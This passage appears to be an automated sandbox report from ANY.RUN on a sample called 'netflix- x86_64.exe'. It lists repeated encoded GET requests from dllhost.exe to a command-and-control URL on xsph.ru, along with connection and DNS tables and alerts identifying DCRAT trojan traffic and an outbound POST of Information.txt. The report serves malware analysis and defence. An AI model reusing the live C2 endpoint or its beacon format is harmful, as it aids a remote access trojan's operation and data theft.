Ua3dVWw40MidnSDxUar5mYoFTbjxGZFlEdBNkWsxWbaBnTXp1dOhUSwkTbUl2bqlkbKNjYpdXaJpXUE9kM0M0TzdGRPhXRqx0dVpWS2kUeZZHetl0cJNlUFpUaPl2auNGM1cFZ25UbJNXSTpleOhlWJpUaPlGNyIGckdlW5p0QMlGNXFGaxUUS0Z0RJBjSYRWb01mYopkbSl2bqlUNShVYqp0QMl2Zq1UdJpXT4RzUPBTSqx0MnpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiU2Y3IGNhJDZkRTOwEWYkdjNmV2M1ADZ5ITMiNTMiFGMiwiIwUjNwgzMjNmZhNmZ1QmMmFzNkNmN4YGZiNTZhZGM2QzN4ETYlJTM0IiOikTM2UWO5gjNyMTYmNzYxEDM0QzMiNmMkNzY1gTYkJzMiwiI4EGO3UTY1kDNzIDZ3M2YzEDZmF2NzYDZjZWNhVDNiJWNzEGNyUmNlJiOiEmNwADMkVWN1UzMmNmMmFDZ3QmYhFTNiNTMiRGZxYTMis3W
unknown
text
104 b
unknown
3320
dllhost.exe
GET
200
141.8.194.74:80
http://a0903328.xsph.ru/L1nc0In.php?ez9hdN8pp1=atoFHp7EJxALtCplarj6&qs8041Oe7oRYFP=SNtlz7OeeoQ&ylh7F5MuBqONytkLJ=wnwVTM87GbbOdMoVZ2ZrLd3&66f60e2c9a37676155aaabfccaaa2e55=2EWYmVTO1gTNhljZ0EmZyYGMlZmZzEzMzgjN2ETM0MmZzYGMiJjMzETMzcjNyMTNyQTOxUDN&20274e841d64dbb552e0660e549241d1=QZkZTN4QWNzEWNzQWN0QmNyITOyMGOkBTM3Q2YkRDZ5kzYhBjNyMjY&16aeafd8f876b42c4fc14755bebec4f7=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
unknown
text
2.09 Kb
unknown
3320
dllhost.exe
GET
200
141.8.194.74:80
http://a0903328.xsph.ru/L1nc0In.php?ez9hdN8pp1=atoFHp7EJxALtCplarj6&qs8041Oe7oRYFP=SNtlz7OeeoQ&ylh7F5MuBqONytkLJ=wnwVTM87GbbOdMoVZ2ZrLd3&66f60e2c9a37676155aaabfccaaa2e55=2EWYmVTO1gTNhljZ0EmZyYGMlZmZzEzMzgjN2ETM0MmZzYGMiJjMzETMzcjNyMTNyQTOxUDN&20274e841d64dbb552e0660e549241d1=QZkZTN4QWNzEWNzQWN0QmNyITOyMGOkBTM3Q2YkRDZ5kzYhBjNyMjY&cbb854e447dff9edaaa18d99c48a473a=d1nIhJGNiRGZ5kDOzgjNmZTOkFmZiNWZmJjNiRTM4YmNzUGMmFDZlJDOhJiOikTM2UWO5gjNyMTYmNzYxEDM0QzMiNmMkNzY1gTYkJzMiwiI4EGO3UTY1kDNzIDZ3M2YzEDZmF2NzYDZjZWNhVDNiJWNzEGNyUmNlJiOiEmNwADMkVWN1UzMmNmMmFDZ3QmYhFTNiNTMiRGZxYTMis3W
unknown
text
104 b
unknown
3320
dllhost.exe
GET
200
141.8.194.74:80
http://a0903328.xsph.ru/L1nc0In.php?ez9hdN8pp1=atoFHp7EJxALtCplarj6&qs8041Oe7oRYFP=SNtlz7OeeoQ&ylh7F5MuBqONytkLJ=wnwVTM87GbbOdMoVZ2ZrLd3&66f60e2c9a37676155aaabfccaaa2e55=2EWYmVTO1gTNhljZ0EmZyYGMlZmZzEzMzgjN2ETM0MmZzYGMiJjMzETMzcjNyMTNyQTOxUDN&20274e841d64dbb552e0660e549241d1=QZkZTN4QWNzEWNzQWN0QmNyITOyMGOkBTM3Q2YkRDZ5kzYhBjNyMjY&cbb854e447dff9edaaa18d99c48a473a=d1nI0MDM0UzNmJGZzIWOiF2Y5cDZ1MDMkZDZ1MjYkJTO1kDMlFzMkJmM1IiOikTM2UWO5gjNyMTYmNzYxEDM0QzMiNmMkNzY1gTYkJzMiwiI4EGO3UTY1kDNzIDZ3M2YzEDZmF2NzYDZjZWNhVDNiJWNzEGNyUmNlJiOiEmNwADMkVWN1UzMmNmMmFDZ3QmYhFTNiNTMiRGZxYTMis3W&302fb9824e06f0ec58a353322a4b8a0e=0VfiIiOiU2Y3IGNhJDZkRTOwEWYkdjNmV2M1ADZ5ITMiNTMiFGMiwiI0MDM0UzNmJGZzIWOiF2Y5cDZ1MDMkZDZ1MjYkJTO1kDMlFzMkJmM1IiOikTM2UWO5gjNyMTYmNzYxEDM0QzMiNmMkNzY1gTYkJzMiwiI4EGO3UTY1kDNzIDZ3M2YzEDZmF2NzYDZjZWNhVDNiJWNzEGNyUmNlJiOiEmNwADMkVWN1UzMmNmMmFDZ3QmYhFTNiNTMiRGZxYTMisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplEbohlW1FlaOZmWE9ENxMUZwhXbaBjVtJ2Y4Z0Y0Z1RWNGeGJGaOJjYNhnRYhmUYlVRCh0YChnRYVHbXJ2aGdEWj5kbjxmTYZ1Y4x2TEpUaPl2YzI2a1cVYYJVMRJkSDxUa0sWS2k0UihmTtlFbkFzYwp0QMl2aslkNJNlW1lzRhdXOtNmasdFV6xWbJNXSTtkeBlnW1x2RjdnVHRGVCNkT4F0QixmUyImTClmTntGSiBXMXl1RCNkTycGSLd2bINFSCpnT1lERJFkQTZVUOVUS3FEROJDMT5EcCN1SOJlRLxmSzIGRCN1STh2QixmUuJmSKl2TpV1VihWNVZVUOtWSzl0ULJUOpR1bBl2YsJFSjhmUXF1ZNNTWwh2RjhmSzI1ZFBjUXJ0QalnRHpVdGdEZUpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQp1keBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa0cVYzpEWaNUOTp1d502YxY1aJZTSTpVd50WZsFzVhBjSDxUaBRUT3FERNdXSp9Ua3dVWw40MidnSDxUar5mYoFTbjxGZFlEdBNkWsxWbaBnTXp1dOhUSwkTbUl2bqlkbKNjYpdXaJpXUE9kM0M0TzdGRPhXRqx0dVpWS2kUeZZHetl0cJNlUFpUaPl2auNGM1cFZ25UbJNXSTpleOhlWJpUaPlGNyIGckdlW5p0QMlGNXFGaxUUS0Z0RJBjSYRWb01mYopkbSl2bqlUNShVYqp0QMl2Zq1UdJpXT4RzUPBTSqx0MnpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiU2Y3IGNhJDZkRTOwEWYkdjNmV2M1ADZ5ITMiNTMiFGMiwiIwUjNwgzMjNmZhNmZ1QmMmFzNkNmN4YGZiNTZhZGM2QzN4ETYlJTM0IiOikTM2UWO5gjNyMTYmNzYxEDM0QzMiNmMkNzY1gTYkJzMiwiI4EGO3UTY1kDNzIDZ3M2YzEDZmF2NzYDZjZWNhVDNiJWNzEGNyUmNlJiOiEmNwADMkVWN1UzMmNmMmFDZ3QmYhFTNiNTMiRGZxYTMis3W
unknown
text
104 b
unknown
3320
dllhost.exe
GET
200
141.8.194.74:80
http://a0903328.xsph.ru/L1nc0In.php?ez9hdN8pp1=atoFHp7EJxALtCplarj6&qs8041Oe7oRYFP=SNtlz7OeeoQ&ylh7F5MuBqONytkLJ=wnwVTM87GbbOdMoVZ2ZrLd3&66f60e2c9a37676155aaabfccaaa2e55=2EWYmVTO1gTNhljZ0EmZyYGMlZmZzEzMzgjN2ETM0MmZzYGMiJjMzETMzcjNyMTNyQTOxUDN&20274e841d64dbb552e0660e549241d1=QZkZTN4QWNzEWNzQWN0QmNyITOyMGOkBTM3Q2YkRDZ5kzYhBjNyMjY&cbb854e447dff9edaaa18d99c48a473a=d1nI0MDM0UzNmJGZzIWOiF2Y5cDZ1MDMkZDZ1MjYkJTO1kDMlFzMkJmM1IiOikTM2UWO5gjNyMTYmNzYxEDM0QzMiNmMkNzY1gTYkJzMiwiI4EGO3UTY1kDNzIDZ3M2YzEDZmF2NzYDZjZWNhVDNiJWNzEGNyUmNlJiOiEmNwADMkVWN1UzMmNmMmFDZ3QmYhFTNiNTMiRGZxYTMis3W&302fb9824e06f0ec58a353322a4b8a0e=0VfiIiOiU2Y3IGNhJDZkRTOwEWYkdjNmV2M1ADZ5ITMiNTMiFGMiwiI0MDM0UzNmJGZzIWOiF2Y5cDZ1MDMkZDZ1MjYkJTO1kDMlFzMkJmM1IiOikTM2UWO5gjNyMTYmNzYxEDM0QzMiNmMkNzY1gTYkJzMiwiI4EGO3UTY1kDNzIDZ3M2YzEDZmF2NzYDZjZWNhVDNiJWNzEGNyUmNlJiOiEmNwADMkVWN1UzMmNmMmFDZ3QmYhFTNiNTMiRGZxYTMisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplEbohlW1FlaOZmWE9ENxMUZwhXbaBjVtJ2Y4Z0Y0Z1RWNGeGJGaOJjYNhnRYhmUYlVRCh0YChnRYVHbXJ2aGdEWj5kbjxmTYZ1Y4x2TEpUaPl2YzI2a1cVYYJVMRJkSDxUa0sWS2k0UihmTtlFbkFzYwp0QMl2aslkNJNlW1lzRhdXOtNmasdFV6xWbJNXSTtkeBlnW1x2RjdnVHRGVCNkT4F0QixmUyImTClmTntGSiBXMXl1RCNkTycGSLd2bINFSCpnT1lERJFkQTZVUOVUS3FEROJDMT5EcCN1SOJlRLxmSzIGRCN1STh2QixmUuJmSKl2TpV1VihWNVZVUOtWSzl0ULJUOpR1bBl2YsJFSjhmUXF1ZNNTWwh2RjhmSzI1ZFBjUXJ0QalnRHpVdGdEZUpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQp1keBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa0cVYzpEWaNUOTp1d502YxY1aJZTSTpVd50WZsFzVhBjSDxUaBRUT3FERNdXSp9Ua3dVWw40MidnSDxUar5mYoFTbjxGZFlEdBNkWsxWbaBnTXp1dOhUSwkTbUl2bqlkbKNjYpdXaJpXUE9kM0M0TzdGRPhXRqx0dVpWS2kUeZZHetl0cJNlUFpUaPl2auNGM1cFZ25UbJNXSTpleOhlWJpUaPlGNyIGckdlW5p0QMlGNXFGaxUUS0Z0RJBjSYRWb01mYopkbSl2bqlUNShVYqp0QMl2Zq1UdJpXT4RzUPBTSqx0MnpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiU2Y3IGNhJDZkRTOwEWYkdjNmV2M1ADZ5ITMiNTMiFGMiwiIwUjNwgzMjNmZhNmZ1QmMmFzNkNmN4YGZiNTZhZGM2QzN4ETYlJTM0IiOikTM2UWO5gjNyMTYmNzYxEDM0QzMiNmMkNzY1gTYkJzMiwiI4EGO3UTY1kDNzIDZ3M2YzEDZmF2NzYDZjZWNhVDNiJWNzEGNyUmNlJiOiEmNwADMkVWN1UzMmNmMmFDZ3QmYhFTNiNTMiRGZxYTMis3W
unknown
text
104 b
unknown
3320
dllhost.exe
GET
200
141.8.194.74:80
http://a0903328.xsph.ru/L1nc0In.php?ez9hdN8pp1=atoFHp7EJxALtCplarj6&qs8041Oe7oRYFP=SNtlz7OeeoQ&ylh7F5MuBqONytkLJ=wnwVTM87GbbOdMoVZ2ZrLd3&66f60e2c9a37676155aaabfccaaa2e55=2EWYmVTO1gTNhljZ0EmZyYGMlZmZzEzMzgjN2ETM0MmZzYGMiJjMzETMzcjNyMTNyQTOxUDN&20274e841d64dbb552e0660e549241d1=QZkZTN4QWNzEWNzQWN0QmNyITOyMGOkBTM3Q2YkRDZ5kzYhBjNyMjY&302fb9824e06f0ec58a353322a4b8a0e=QX9JSUNJiOiU2Y3IGNhJDZkRTOwEWYkdjNmV2M1ADZ5ITMiNTMiFGMiwiIhJGNiRGZ5kDOzgjNmZTOkFmZiNWZmJjNiRTM4YmNzUGMmFDZlJDOhJiOikTM2UWO5gjNyMTYmNzYxEDM0QzMiNmMkNzY1gTYkJzMiwiI4EGO3UTY1kDNzIDZ3M2YzEDZmF2NzYDZjZWNhVDNiJWNzEGNyUmNlJiOiEmNwADMkVWN1UzMmNmMmFDZ3QmYhFTNiNTMiRGZxYTMis3W
unknown
text
104 b
unknown
3320
dllhost.exe
GET
200
141.8.194.74:80
http://a0903328.xsph.ru/L1nc0In.php?ez9hdN8pp1=atoFHp7EJxALtCplarj6&qs8041Oe7oRYFP=SNtlz7OeeoQ&ylh7F5MuBqONytkLJ=wnwVTM87GbbOdMoVZ2ZrLd3&66f60e2c9a37676155aaabfccaaa2e55=2EWYmVTO1gTNhljZ0EmZyYGMlZmZzEzMzgjN2ETM0MmZzYGMiJjMzETMzcjNyMTNyQTOxUDN&20274e841d64dbb552e0660e549241d1=QZkZTN4QWNzEWNzQWN0QmNyITOyMGOkBTM3Q2YkRDZ5kzYhBjNyMjY&cbb854e447dff9edaaa18d99c48a473a=d1nI0MDM0UzNmJGZzIWOiF2Y5cDZ1MDMkZDZ1MjYkJTO1kDMlFzMkJmM1IiOikTM2UWO5gjNyMTYmNzYxEDM0QzMiNmMkNzY1gTYkJzMiwiI4EGO3UTY1kDNzIDZ3M2YzEDZmF2NzYDZjZWNhVDNiJWNzEGNyUmNlJiOiEmNwADMkVWN1UzMmNmMmFDZ3QmYhFTNiNTMiRGZxYTMis3W&302fb9824e06f0ec58a353322a4b8a0e=0VfiIiOiU2Y3IGNhJDZkRTOwEWYkdjNmV2M1ADZ5ITMiNTMiFGMiwiI0MDM0UzNmJGZzIWOiF2Y5cDZ1MDMkZDZ1MjYkJTO1kDMlFzMkJmM1IiOikTM2UWO5gjNyMTYmNzYxEDM0QzMiNmMkNzY1gTYkJzMiwiI4EGO3UTY1kDNzIDZ3M2YzEDZmF2NzYDZjZWNhVDNiJWNzEGNyUmNlJiOiEmNwADMkVWN1UzMmNmMmFDZ3QmYhFTNiNTMiRGZxYTMisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplEbohlW1FlaOZmWE9ENxMUZwhXbaBjVtJ2Y4Z0Y0Z1RWNGeGJGaOJjYNhnRYhmUYlVRCh0YChnRYVHbXJ2aGdEWj5kbjxmTYZ1Y4x2TEpUaPl2YzI2a1cVYYJVMRJkSDxUa0sWS2k0UihmTtlFbkFzYwp0QMl2aslkNJNlW1lzRhdXOtNmasdFV6xWbJNXSTtkeBlnW1x2RjdnVHRGVCNkT4F0QixmUyImTClmTntGSiBXMXl1RCNkTycGSLd2bINFSCpnT1lERJFkQTZVUOVUS3FEROJDMT5EcCN1SOJlRLxmSzIGRCN1STh2QixmUuJmSKl2TpV1VihWNVZVUOtWSzl0ULJUOpR1bBl2YsJFSjhmUXF1ZNNTWwh2RjhmSzI1ZFBjUXJ0QalnRHpVdGdEZUpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQp1keBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa0cVYzpEWaNUOTp1d502YxY1aJZTSTpVd50WZsFzVhBjSDxUaBRUT3FERNdXSp9Ua3dVWw40MidnSDxUar5mYoFTbjxGZFlEdBNkWsxWbaBnTXp1dOhUSwkTbUl2bqlkbKNjYpdXaJpXUE9kM0M0TzdGRPhXRqx0dVpWS2kUeZZHetl0cJNlUFpUaPl2auNGM1cFZ25UbJNXSTpleOhlWJpUaPlGNyIGckdlW5p0QMlGNXFGaxUUS0Z0RJBjSYRWb01mYopkbSl2bqlUNShVYqp0QMl2Zq1UdJpXT4RzUPBTSqx0MnpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiU2Y3IGNhJDZkRTOwEWYkdjNmV2M1ADZ5ITMiNTMiFGMiwiIwUjNwgzMjNmZhNmZ1QmMmFzNkNmN4YGZiNTZhZGM2QzN4ETYlJTM0IiOikTM2UWO5gjNyMTYmNzYxEDM0QzMiNmMkNzY1gTYkJzMiwiI4EGO3UTY1kDNzIDZ3M2YzEDZmF2NzYDZjZWNhVDNiJWNzEGNyUmNlJiOiEmNwADMkVWN1UzMmNmMmFDZ3QmYhFTNiNTMiRGZxYTMis3W
unknown
text
104 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
3320
dllhost.exe
141.8.194.74:80
a0903328.xsph.ru
Sprinthost.ru LLC
RU
unknown

DNS requests

Domain
IP
Reputation
a0903328.xsph.ru
  • 141.8.194.74
unknown

Threats

PID
Process
Class
Message
1080
svchost.exe
Misc activity
ET INFO Observed DNS Query to xsph .ru Domain
3320
dllhost.exe
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
3320
dllhost.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
3320
dllhost.exe
A Network Trojan was detected
ET HUNTING Observed Malicious Filename in Outbound POST Request (Information.txt)
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
netflix- x86_64.exe